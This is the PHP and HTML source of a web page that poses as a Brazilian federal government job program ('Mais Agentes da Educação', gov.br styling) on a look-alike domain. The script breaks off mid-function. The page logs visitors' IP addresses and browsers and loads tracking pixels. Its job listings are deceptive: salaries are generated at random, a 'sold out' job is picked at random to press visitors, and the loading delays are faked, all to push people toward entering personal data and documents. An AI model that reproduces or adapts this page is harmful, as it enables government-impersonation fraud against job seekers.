<?php
ini_set('display_errors', 0 );
error_reporting(0);
set_time_limit(0);
date_default_timezone_set('America/Sao_Paulo');
$hora = @date("d/m/Y - H:i:s");
$ip = $_SERVER['REMOTE_ADDR'];
$dispositivo = $_SERVER['HTTP_USER_AGENT'];






?>
<!DOCTYPE html>
<html lang="pt-BR">

<head>





    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Resultados da Busca - Mais Agentes da Educação</title>



    <!-- External CSS -->
    <script src="assets/js/3.4.16.js"></script>
    <link rel="stylesheet" href="assets/css/all.min.css">
    <link href="assets/css/rawline.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link rel="stylesheet" href="assets/css/custom.css">


    <?php include "!pixels.php"; ?>

    <!-- SEO and Meta Tags -->
    <meta name="description" content="Programa Nacional de Agentes da Educação - Governo Federal">
    <meta name="keywords" content="educação, governo federal, agentes educação, PNAE, vagas públicas">
    <meta name="author" content="Governo Federal do Brasil">

    <!-- Open Graph -->
    <meta property="og:title" content="Mais Agentes da Educação - gov.br">
    <meta property="og:description" content="Programa Nacional de Agentes da Educação do Governo Federal">
    <meta property="og:type" content="website">
    <meta property="og:url" content="https://gov.agentesdaeducacao.org/resultados-busca?cep=31230770">

    <!-- Favicon -->
    <link rel="icon" type="image/x-icon"
        href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🇧🇷</text></svg>">

</head>


<body class="bg-white">

    <!-- Preserve Query Parameters Script -->
    <script>
        document.addEventListener('DOMContentLoaded', function () {
            // Get current query parameters
            const currentParams = new URLSearchParams(window.location.search);

            // Function to add query parameters to a URL
            function addQueryParams(url) {
                if (!url) return url;

                // Create URL object with absolute path
                const urlObj = new URL(url, window.location.origin);

                // Special handling for cadastro to resultados-busca navigation
                if (window.location.pathname === '/cadastro' && url.includes('/resultados-busca')) {
                    // Add CEP parameter if not already present
                    if (!urlObj.searchParams.has('cep')) {
                        urlObj.searchParams.set('cep', '72236001');
                    }
                }

                // Preserve existing parameters
                currentParams.forEach((value, key) => {
                    // Don't override CEP if it's already set
                    if (!(key === 'cep' && urlObj.searchParams.has('cep'))) {
                        urlObj.searchParams.set(key, value);
                    }
                });

                return urlObj.toString();
            }

            // Add click event listeners to all links
            document.querySelectorAll('a').forEach(link => {
                const originalHref = link.getAttribute('href');
                if (originalHref && !originalHref.startsWith('#') && !originalHref.startsWith('javascript:')) {
                    link.addEventListener('click', function (e) {
                        const newUrl = addQueryParams(originalHref);
                        if (newUrl !== originalHref) {
                            e.preventDefault();
                            window.location.href = newUrl;
                        }
                    });
                }
            });

            // Also handle form submissions
            document.querySelectorAll('form').forEach(form => {
                form.addEventListener('submit', function (e) {
                    const formAction = form.getAttribute('action');
                    if (formAction && formAction.includes('/resultado')) {
                        e.preventDefault();
                        const newUrl = addQueryParams(formAction);
                        window.location.href = newUrl;
                    }
                });
            });

            // Debug log to check parameters
            console.log('Current URL:', window.location.href);
            console.log('Current Parameters:', Object.fromEntries(currentParams));
        });
    </script>


    <!-- Header -->
    <header class="header-govbr">
        <div class="flex justify-between items-center px-4 py-3">
            <div class="flex items-center">
                <a  class="gov-logo">
                    <img src="assets/img/1.webp" alt="gov.br" class="h-8">
                </a>
            </div>
            <div class="flex items-center">
                <button class="header-btn" id="menu-btn" aria-label="Menu">
                    <i class="fas fa-ellipsis-v text-blue-900 mx-3"></i>
                </button>
                <div class="w-px h-6 bg-blue-900 mx-3"></div>
                <button class="header-btn" id="accessibility-btn" aria-label="Acessibilidade">
                    <i class="fas fa-palette text-blue-900 mx-3"></i>
                </button>
                <div class="half-circle mx-3"></div>
                <button class="header-btn" id="apps-btn" aria-label="Aplicativos">
                    <i class="fas fa-th text-blue-900 mx-3"></i>
                </button>
               
            </div>
        </div>

        <!-- Title Bar -->
        <div class="flex justify-between items-center px-4 py-2 border-b border-gray-300">
            <div class="flex items-center">
                <button class="header-btn" id="sidebar-toggle" aria-label="Menu lateral">
                    <i class="fas fa-bars text-blue-900 mr-3"></i>
                </button>
                <span class="text-gray-800 text-sm font-medium">Fundo Nacional de Desenvolvimento da Educação</span>
            </div>
            <div class="flex items-center">
                <button class="header-btn" id="voice-search-btn" aria-label="Busca por voz">
                    <i class="fas fa-microphone text-blue-900 mx-2"></i>
                </button>
                <button class="header-btn" id="search-toggle-btn" aria-label="Pesquisar">
                    <i class="fas fa-search text-blue-900 mx-2"></i>
                </button>
            </div>
        </div>

        <!-- Search Bar (hidden by default) -->
        <div id="search-bar" class="hidden bg-white border-b border-gray-300 px-4 py-3">
            <div class="flex items-center max-w-md mx-auto">
                <div class="relative flex-1">
                    <input type="text" id="header-search-input" placeholder="Buscar programas, vagas, ministérios..."
                        class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:border-blue-600 focus:ring-2 focus:ring-blue-200">
                    <button id="header-search-btn" class="absolute right-2 top-2 text-blue-600 hover:text-blue-800">
                        <i class="fas fa-search"></i>
                    </button>
                </div>
                <button id="search-close-btn" class="ml-3 text-gray-500 hover:text-gray-700">
                    <i class="fas fa-times"></i>
                </button>
            </div>
        </div>

        <!-- Breadcrumb -->
     <!--     <nav class="breadcrumb-nav flex items-center px-4 py-3 text-sm" aria-label="Navegação estrutural">
            <div class="flex flex-wrap items-center gap-1">
                <a href="/" class="text-blue-700 hover:text-blue-800">
                    <i class="fas fa-home"></i>
                </a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/acesso-informacao" class="text-blue-700 hover:text-blue-800 text-xs">Acesso à Informação</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/acoes-programas" class="text-blue-700 hover:text-blue-800 text-xs">Ações e Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/programas" class="text-blue-700 hover:text-blue-800 text-xs">Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/bolsas-auxilios" class="text-blue-700 hover:text-blue-800 text-xs">Bolsas e Auxílios</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/lista-programas" class="text-blue-700 hover:text-blue-800 text-xs">Lista de Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <span class="text-gray-800 text-xs font-medium">Mais Agentes da Educação</span>
            </div>
        </nav> -->
    </header>

    <!-- Main Content -->
    <main class="main-content">

        <div class="px-4 py-4">
            <h1 class="text-3xl font-semibold mb-4" style="color: #1351B4;">Resultados da Busca - Mais Agentes da
                Educação</h1>

            <div class="border-t border-b border-gray-300 py-3 mb-6">
                <div class="text-gray-700 text-sm">
                    <p>Publicado em 24/05/2025 17h37</p>
                    <p>Atualizado em 24/05/2025 18h29</p>
                </div>
            </div>

            <!-- Loading Animation (inicial) -->
            <div id="loading-section" class="text-center py-16">
                <div class="inline-block animate-spin rounded-full h-12 w-12 border-b-2 border-blue-600 mb-4"></div>
                <h2 class="text-xl font-semibold text-gray-800 mb-2">Carregando dados...</h2>
                <p class="text-gray-600">Consultando disponibilidade na região CEP: </p>
                <p class="text-sm text-gray-500 mt-1">Verificando oportunidades de emprego...</p>
            </div>

            <!-- Resultados (aparecem após loading) -->
            <div id="results-section" class="hidden">
                <!-- Confirmação de Disponibilidade -->
                <div class="bg-blue-50 border border-blue-200 rounded-lg p-6 mb-8">
                    <div class="flex items-start">
                        <div class="ml-4">
                            <h2 class="text-xl font-semibold text-gray-800 mb-3">
                                Consulta de Disponibilidade - Região Confirmada
                            </h2>
                            <div class="bg-white p-4 rounded border border-gray-200 mb-4">
                                <div class="grid md:grid-cols-2 gap-4 mb-3">
                                    <div>
                                        <p class="text-sm text-gray-500 mb-1">CEP:</p>
                                        <p class="font-medium text-gray-800" id="cep-info"></p>
                                    </div>
                                    <div>
                                        <p class="text-sm text-gray-500 mb-1">Logradouro:</p>
                                        <p class="font-medium text-gray-800" id="logradouro-info"></p>
                                    </div>
                                </div>
                                <div class="grid md:grid-cols-2 gap-4 mb-3">
                                    <div>
                                        <p class="text-sm text-gray-500 mb-1">Bairro:</p>
                                        <p class="font-medium text-gray-800" id="bairro-info"></p>
                                    </div>
                                    <div>
                                        <p class="text-sm text-gray-500 mb-1">Localidade:</p>
                                        <p class="font-medium text-gray-800" id="localidade-info"></p>
                                    </div>
                                </div>
                                <div class="grid md:grid-cols-3 gap-4">
                                    <div>
                                        <p class="text-sm text-gray-500 mb-1">Estado:</p>
                                        <p class="font-medium text-gray-800" id="estado-info"></p>
                                    </div>
                                    <div>
                                       <!-- <p class="text-sm text-gray-500 mb-1">Código da Região:</p>
                                        <p class="font-medium text-blue-600" id="codigo-regiao"></p> -->
                                    </div>
                                    <div>
                                        <p class="text-sm text-gray-500 mb-1">Status:</p>
                                        <span
                                            class="inline-flex items-center px-2 py-1 rounded text-xs font-medium bg-blue-100 text-blue-800">
                                            DISPONÍVEL
                                        </span>
                                    </div>
                                </div>
                            </div>
                            <p class="text-sm text-gray-600" id="texto-localizacao-vagas">
                                <i class="fas fa-info-circle mr-2 text-blue-600"></i>
                                Carregando vagas disponíveis...
                            </p>

                        </div>
                    </div>
                </div>

                <!-- Instrução de Seleção -->
                <div class="bg-gray-50 border border-gray-300 rounded p-4 mb-6">
                    <div class="flex items-center">
                        <i class="fas fa-arrow-down text-blue-600 text-lg mr-3"></i>
                        <h3 class="text-lg font-medium text-gray-800">
                            Selecione um cargo para prosseguir
                        </h3>
                    </div>
                    <p class="text-sm text-gray-600 mt-2 ml-7">
                        Escolha o cargo de seu interesse na lista abaixo para iniciar sua inscrição.
                    </p>
                </div>

                <!-- Lista de Cargos -->
                <div class="bg-white border border-gray-300 rounded p-6 mb-8">
                    <h3 class="text-xl font-medium text-gray-800 mb-6">
                        <i class="fas fa-list mr-2"></i>
                        Cargos Disponíveis para sua Região
                    </h3>

                    <div class="grid gap-4">
                        <!-- Cargo 1 -->
                        <div class="cargo-option bg-gray-50 border border-gray-300 rounded p-4 cursor-pointer hover:border-blue-500"
                            data-cargo="auxiliar-admin" data-disponivel="true">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <h4 class="text-lg font-medium text-gray-800 mb-2">• Auxiliar Administrativo</h4>
                                    <p class="text-sm text-gray-600 mb-3">Apoio administrativo e organizacional nas
                                        unidades de ensino municipais.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-auxiliar-admin">R$ 0,00 -
                                                R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold">Presencial</p>
                                        </div>
                                    </div>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-blue-600 text-white px-4 py-2 rounded font-medium hover:bg-blue-700">
                                        Selecionar Cargo
                                    </button>
                                </div>
                            </div>
                        </div>

                        <!-- Cargo 2 -->
                        <div class="cargo-option bg-gray-50 border border-gray-300 rounded p-4 cursor-pointer hover:border-blue-500"
                            data-cargo="auxiliar-producao" data-disponivel="true">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <h4 class="text-lg font-medium text-gray-800 mb-2">• Auxiliar de Produção Escolar
                                    </h4>
                                    <p class="text-sm text-gray-600 mb-3">Responsável pela preparação e distribuição da
                                        alimentação nas escolas municipais.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-auxiliar-producao">R$ 0,00
                                                - R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold">Presencial</p>
                                        </div>
                                    </div>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-blue-600 text-white px-4 py-2 rounded font-medium hover:bg-blue-700">
                                        Selecionar Cargo
                                    </button>
                                </div>
                            </div>
                        </div>

                        <!-- Cargo 3 -->
                        <div class="cargo-option bg-gray-50 border border-gray-300 rounded p-4 cursor-pointer hover:border-blue-500"
                            data-cargo="auxiliar-secretaria" data-disponivel="true">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <h4 class="text-lg font-medium text-gray-800 mb-2">• Auxiliar de Secretaria</h4>
                                    <p class="text-sm text-gray-600 mb-3">Apoio nas atividades secretariais e
                                        atendimento ao público nas escolas.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-auxiliar-secretaria">R$
                                                0,00 - R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold">Presencial</p>
                                        </div>
                                    </div>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-blue-600 text-white px-4 py-2 rounded font-medium hover:bg-blue-700">
                                        Selecionar Cargo
                                    </button>
                                </div>
                            </div>
                        </div>

                        <!-- Cargo 4 -->
                        <div class="cargo-option bg-gray-50 border border-gray-300 rounded p-4 cursor-pointer hover:border-blue-500"
                            data-cargo="auxiliar-seguranca" data-disponivel="true">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <h4 class="text-lg font-medium text-gray-800 mb-2">• Auxiliar de Segurança Escolar
                                    </h4>
                                    <p class="text-sm text-gray-600 mb-3">Responsável pela segurança e vigilância das
                                        unidades escolares.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-auxiliar-seguranca">R$ 0,00
                                                - R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold">Presencial</p>
                                        </div>
                                    </div>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-blue-600 text-white px-4 py-2 rounded font-medium hover:bg-blue-700">
                                        Selecionar Cargo
                                    </button>
                                </div>
                            </div>
                        </div>

                        <!-- Cargo 5 -->
                        <div class="cargo-option bg-gray-50 border border-gray-300 rounded p-4 cursor-pointer hover:border-blue-500"
                            data-cargo="auxiliar-limpeza" data-disponivel="true">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <h4 class="text-lg font-medium text-gray-800 mb-2">• Auxiliar de Serviços de Limpeza
                                    </h4>
                                    <p class="text-sm text-gray-600 mb-3">Manutenção da limpeza e higienização das
                                        unidades escolares.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-auxiliar-limpeza">R$ 0,00 -
                                                R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold">Presencial</p>
                                        </div>
                                    </div>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-blue-600 text-white px-4 py-2 rounded font-medium hover:bg-blue-700">
                                        Selecionar Cargo
                                    </button>
                                </div>
                            </div>
                        </div>

                        <!-- Cargo 6 -->
                        <div class="cargo-option bg-gray-50 border border-gray-300 rounded p-4 cursor-pointer hover:border-blue-500"
                            data-cargo="auxiliar-cozinha" data-disponivel="true">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <h4 class="text-lg font-medium text-gray-800 mb-2">• Auxiliar de Cozinha Escolar
                                    </h4>
                                    <p class="text-sm text-gray-600 mb-3">Apoio na preparação de refeições e manutenção
                                        da cozinha escolar.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-auxiliar-cozinha">R$ 0,00 -
                                                R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold">Presencial</p>
                                        </div>
                                    </div>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-blue-600 text-white px-4 py-2 rounded font-medium hover:bg-blue-700">
                                        Selecionar Cargo
                                    </button>
                                </div>
                            </div>
                        </div>

                        <!-- Cargo 7 -->
                        <div class="cargo-option bg-gray-50 border border-gray-300 rounded p-4 cursor-pointer hover:border-blue-500"
                            data-cargo="tecnico-manutencao" data-disponivel="true">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <h4 class="text-lg font-medium text-gray-800 mb-2">• Técnico em Manutenção Predial
                                    </h4>
                                    <p class="text-sm text-gray-600 mb-3">Manutenção preventiva e corretiva da
                                        infraestrutura escolar.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-tecnico-manutencao">R$ 0,00
                                                - R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold">Presencial</p>
                                        </div>
                                    </div>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-blue-600 text-white px-4 py-2 rounded font-medium hover:bg-blue-700">
                                        Selecionar Cargo
                                    </button>
                                </div>
                            </div>
                        </div>

                        <!-- Cargo 8 - Indisponível -->
                        <div class="cargo-option bg-red-50 border border-red-300 rounded p-4 opacity-75"
                            data-cargo="secretario-escolar" data-disponivel="false">
                            <div class="flex items-start justify-between">
                                <div class="flex-1">
                                    <div class="flex items-center mb-2">
                                        <h4 class="text-lg font-medium text-gray-800">• Secretário Escolar (home office)
                                        </h4>
                                        <span
                                            class="ml-3 bg-red-500 text-white text-xs px-2 py-1 rounded-full">ESGOTADO</span>
                                    </div>
                                    <p class="text-sm text-gray-600 mb-3">Gestão secretarial e administrativa das
                                        unidades escolares em modalidade remota.</p>
                                    <div class="grid md:grid-cols-3 gap-4 text-sm">
                                        <div>
                                            <span class="text-gray-500">Remuneração:</span>
                                            <p class="font-medium text-blue-600" id="salario-secretario-escolar">R$ 0,00
                                                - R$ 0,00</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Carga Horária:</span>
                                            <p class="font-semibold">40h semanais</p>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Modalidade:</span>
                                            <p class="font-semibold text-blue-600">Home Office</p>
                                        </div>
                                    </div>
                                    <p class="text-red-600 text-sm mt-2">
                                        <i class="fas fa-exclamation-triangle mr-1"></i>
                                        Vagas esgotadas para esta região. Tente novamente em 48h.
                                    </p>
                                </div>
                                <div class="ml-4">
                                    <button
                                        class="bg-gray-400 text-gray-600 px-4 py-2 rounded font-medium cursor-not-allowed"
                                        disabled="">
                                        Indisponível
                                    </button>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <!-- Botão Iniciar Inscrição (aparece após seleção) -->
                <div id="botao-inscricao" class="text-center py-8 hidden">
                    <div class="bg-blue-50 border border-blue-200 rounded-lg p-6 mb-6">
                        <h3 class="text-lg font-semibold text-blue-800 mb-2">Cargo Selecionado</h3>
                        <p id="cargo-selecionado-texto" class="text-gray-700 mb-4"></p>
                        <div class="bg-white p-4 rounded border border-blue-200">
                            <p class="text-sm text-gray-600 mb-1">Remuneração prevista para sua região:</p>
                            <p id="salario-selecionado" class="text-lg font-semibold text-blue-700"></p>
                        </div>
                    </div>

                    <button id="iniciar-inscricao"
                        class="bg-gradient-to-r from-blue-600 to-blue-700 hover:from-blue-700 hover:to-blue-800 text-white font-bold py-4 px-12 rounded-xl shadow-lg transform hover:scale-105 transition-all duration-300">
                        <i class="fas fa-pen mr-3"></i>
                        INICIAR INSCRIÇÃO
                        <i class="fas fa-arrow-right ml-3"></i>
                    </button>

                    <p class="text-blue-600 font-medium mt-4 text-sm">
                        <i class="fas fa-info-circle mr-1"></i>
                        Próximo passo: Preenchimento dos dados pessoais e documentação
                    </p>
                </div>
            </div>
        </div>

        <!-- Popup de Validação Continuada -->
        <div id="validation-popup"
            class="fixed inset-0 bg-black bg-opacity-50 z-50 flex items-center justify-center hidden">
            <div class="bg-white rounded-lg p-6 max-w-md w-full mx-4 shadow-xl">
                <div class="text-center">
                    <div class="w-16 h-16 bg-green-100 rounded-full flex items-center justify-center mx-auto mb-4">
                        <i class="fas fa-check-circle text-green-600 text-2xl"></i>
                    </div>
                    <h3 id="validation-message" class="text-lg font-semibold text-gray-800 mb-2">Carregando dados
                        regionais</h3>
                    <p id="validation-details" class="text-sm text-gray-600 mb-4">Finalizando consulta de vagas
                        disponíveis</p>
                    <div class="w-full bg-gray-200 rounded-full h-2 mb-4">
                        <div id="validation-progress" class="bg-green-600 h-2 rounded-full transition-all duration-500"
                            style="width: 100%"></div>
                    </div>
                </div>
            </div>
        </div>

        <script>
            document.addEventListener('DOMContentLoaded', function () {
                const loadingSection = document.getElementById('loading-section');
                const resultsSection = document.getElementById('results-section');
                const cargoOptions = document.querySelectorAll('.cargo-option');
                const validationPopup = document.getElementById('validation-popup');
                const mostrarPopup = localStorage.getItem('mostrarPopupResultados');
                const botaoInscricao = document.getElementById('botao-inscricao');
                const cargoSelecionadoTexto = document.getElementById('cargo-selecionado-texto');
                const salarioSelecionado = document.getElementById('salario-selecionado');

                if (mostrarPopup === 'true') {
                    validationPopup.classList.remove('hidden');
                    localStorage.removeItem('mostrarPopupResultados');
                }

                function gerarSalarioAleatorio(min, max) {
                    const minimo = Math.floor(Math.random() * (min + 200 - min) + min);
                    const maximo = Math.floor(Math.random() * (max + 200 - max) + max);
                    return `R$ ${minimo.toLocaleString('pt-BR', { minimumFractionDigits: 2 })} - R$ ${maximo.toLocaleString('pt-BR', { minimumFractionDigits: 2 })}`;
                }

                function tornarCargoAleatorioIndisponivel() {
                    const cargosDisponiveis = [
                        'auxiliar-admin',
                        'auxiliar-producao',
                        'auxiliar-secretaria',
                        'auxiliar-seguranca',
                        'auxiliar-limpeza',
                        'auxiliar-cozinha',
                        'tecnico-manutencao'
                    ];

                    const cargoAleatorio = cargosDisponiveis[Math.floor(Math.random() * cargosDisponiveis.length)];
                    const elementoCargo = document.querySelector(`[data-cargo="${cargoAleatorio}"]`);

                    if (elementoCargo) {
                        elementoCargo.classList.remove('bg-gray-50', 'border-gray-300', 'hover:border-blue-500');
                        elementoCargo.classList.add('bg-red-50', 'border-red-300', 'opacity-75');
                        elementoCargo.setAttribute('data-disponivel', 'false');

                        const titulo = elementoCargo.querySelector('h4');
                        if (titulo && !titulo.querySelector('.bg-red-500')) {
                            const badge = document.createElement('span');
                            badge.className = 'ml-3 bg-red-500 text-white text-xs px-2 py-1 rounded-full';
                            badge.textContent = 'ESGOTADO';
                            titulo.appendChild(badge);
                        }

                        const flexDiv = elementoCargo.querySelector('.flex-1');
                        if (flexDiv && !flexDiv.querySelector('.text-red-600')) {
                            const mensagem = document.createElement('p');
                            mensagem.className = 'text-red-600 text-sm mt-2';
                            mensagem.innerHTML = '<i class="fas fa-exclamation-triangle mr-1"></i>Vagas esgotadas para esta região. Tente novamente em 48h.';
                            flexDiv.appendChild(mensagem);
                        }

                        const botao = elementoCargo.querySelector('button');
                        if (botao) {
                            botao.className = 'bg-gray-400 text-gray-600 px-4 py-2 rounded font-medium cursor-not-allowed';
                            botao.textContent = 'Indisponível';
                            botao.disabled = true;
                        }
                    }
                }

                
                  /* mais lento

                function consultarViaCEP() {
                    const cep = localStorage.getItem('cep')?.replace(/\D/g, '') || '';

                    if (cep.length === 8) {
                        fetch(`https://viacep.com.br/ws/${cep}/json/`)
                            .then(response => response.json())
                            .then(data => {
                                if (!data.erro) {
                                    document.getElementById('cep-info').textContent = cep;
                                    document.getElementById('localidade-info').textContent = data.localidade || 'Não informado';
                                    document.getElementById('estado-info').textContent = data.uf || 'Não informado';
                                    document.getElementById('bairro-info').textContent = data.bairro || 'Não informado';
                                    document.getElementById('logradouro-info').textContent = data.logradouro || 'Não informado';
                                    document.getElementById('codigo-regiao').textContent = data.ibge || 'Não informado';

                                    const dadosParaSalvar = {
                                        logradouro: data.logradouro || '',
                                        bairro: data.bairro || '',
                                        localidade: data.localidade || '',
                                        uf: data.uf || '',
                                        ibge: data.ibge || ''
                                    };
                                    localStorage.setItem('dadosLocalizacao', JSON.stringify(dadosParaSalvar));

                                    // Atualiza o texto com UF e cidade aqui
                                    document.getElementById('texto-localizacao-vagas').innerHTML = `
                        <i class="fas fa-info-circle mr-2 text-blue-600"></i>
                        Vagas disponíveis para ${data.localidade} - ${data.uf}. Selecione o cargo de interesse para prosseguir com a inscrição.
                    `;
                                } else {
                                    document.getElementById('localidade-info').textContent = 'CEP não encontrado';
                                    document.getElementById('estado-info').textContent = 'N/A';
                                }
                            })
                            .catch(error => {
                                console.error('Erro ao consultar ViaCEP:', error);
                                document.getElementById('localidade-info').textContent = 'Erro na consulta';
                                document.getElementById('estado-info').textContent = 'N/A';
                            });
                    }
                }

                consultarViaCEP(); */


              async function consultarViaCEP() {
    const cep = localStorage.getItem('cep')?.replace(/\D/g, '') || '';
    const loadingSection = document.getElementById('loading-section');
    const resultsSection = document.getElementById('results-section');

    // Exibe a animação de carregamento
    loadingSection.classList.remove('hidden');
    resultsSection.classList.add('hidden');

    // Busca dados já armazenados
    const dadosSalvos = JSON.parse(localStorage.getItem('dadosLocalizacao') || '{}');
    if (dadosSalvos.localidade && dadosSalvos.uf) {
        atualizarCampos(dadosSalvos);
        mostrarResultados();
        return;
    }

    if (cep.length === 8) {
        try {
            const response = await fetch(`https://brasilapi.com.br/api/cep/v2/${cep}`);
            const data = await response.json();

            if (data && !data.erro) {
                const dadosParaSalvar = {
                    logradouro: data.street || '',
                    bairro: data.neighborhood || '',
                    localidade: data.city || '',
                    uf: data.state || '',
                    latitude: data.location?.coordinates?.latitude || '',
                    longitude: data.location?.coordinates?.longitude || ''
                };

                localStorage.setItem('dadosLocalizacao', JSON.stringify(dadosParaSalvar));
                atualizarCampos(dadosParaSalvar);
                mostrarResultados();
            } else {
                document.getElementById('texto-localizacao-vagas').innerHTML = `
                    <i class="fas fa-exclamation-circle text-red-600"></i>
                    CEP não encontrado.
                `;
                mostrarResultados();
            }
        } catch (error) {
            console.error('Erro ao consultar BrasilAPI:', error);
            document.getElementById('texto-localizacao-vagas').innerHTML = `
                <i class="fas fa-exclamation-triangle text-yellow-600"></i>
                
            `;
            mostrarResultados();
        }
    } else {
        document.getElementById('texto-localizacao-vagas').innerHTML = `
            <i class="fas fa-info-circle text-gray-600"></i>
            CEP inválido.
        `;
        mostrarResultados();
    }

    // Função auxiliar — mostra resultados e oculta loading com efeito
    function mostrarResultados() {
        setTimeout(() => {
            loadingSection.classList.add('hidden');
            resultsSection.classList.remove('hidden');
            resultsSection.classList.add('fade-in');
        }, 1200); // 1,2s de loading mínimo para transição suave
    }
}

function atualizarCampos(data) {
    document.getElementById('cep-info').textContent = localStorage.getItem('cep') || 'N/A';
    document.getElementById('localidade-info').textContent = data.localidade || 'Não informado';
    document.getElementById('estado-info').textContent = data.uf || 'Não informado';
    document.getElementById('bairro-info').textContent = data.bairro || 'Não informado';
    document.getElementById('logradouro-info').textContent = data.logradouro || 'Não informado';
    document.getElementById('codigo-regiao').textContent = data.latitude && data.longitude
        ? `${data.latitude}, ${data.longitude}`
        : 'Não informado';

    document.getElementById('texto-localizacao-vagas').innerHTML = `
        <i class="fas fa-info-circle mr-2 text-blue-600"></i>
        Vagas disponíveis para ${data.localidade} - ${data.uf}. Selecione o cargo de interesse para prosseguir com a inscrição.
    `;
}

// Estilo de transição suave
const style = document.createElement('style');
style.textContent = `
.fade-in {
    animation: fadeIn 0.7s ease-in-out;
}
@keyframes fadeIn {
    from { opacity: 0; transform: translateY(10px); }
    to { opacity: 1; transform: translateY(0); }
}`;
document.head.appendChild(style);

consultarViaCEP();  





                document.getElementById('salario-auxiliar-admin').textContent = gerarSalarioAleatorio(3300, 4600);
                document.getElementById('salario-auxiliar-producao').textContent = gerarSalarioAleatorio(3500, 4800);
                document.getElementById('salario-auxiliar-secretaria').textContent = gerarSalarioAleatorio(3200, 4500);
                document.getElementById('salario-auxiliar-seguranca').textContent = gerarSalarioAleatorio(3750, 4985);
                document.getElementById('salario-auxiliar-limpeza').textContent = gerarSalarioAleatorio(3112, 4325);
                document.getElementById('salario-auxiliar-cozinha').textContent = gerarSalarioAleatorio(3425, 4756);
                document.getElementById('salario-tecnico-manutencao').textContent = gerarSalarioAleatorio(4200, 4985);
                document.getElementById('salario-secretario-escolar').textContent = gerarSalarioAleatorio(4000, 4950);

                tornarCargoAleatorioIndisponivel();

                setTimeout(() => {
                    loadingSection.classList.add('hidden');
                    resultsSection.classList.remove('hidden');

                    if (!validationPopup.classList.contains('hidden')) {
                        setTimeout(() => {
                            const messageEl = document.getElementById('validation-message');
                            const detailsEl = document.getElementById('validation-details');

                            messageEl.textContent = 'Busca finalizada com sucesso';
                            detailsEl.textContent = 'Dados carregados e disponíveis para visualização';

                            setTimeout(() => {
                                validationPopup.classList.add('hidden');
                            }, 1000);
                        }, 1000);
                    }
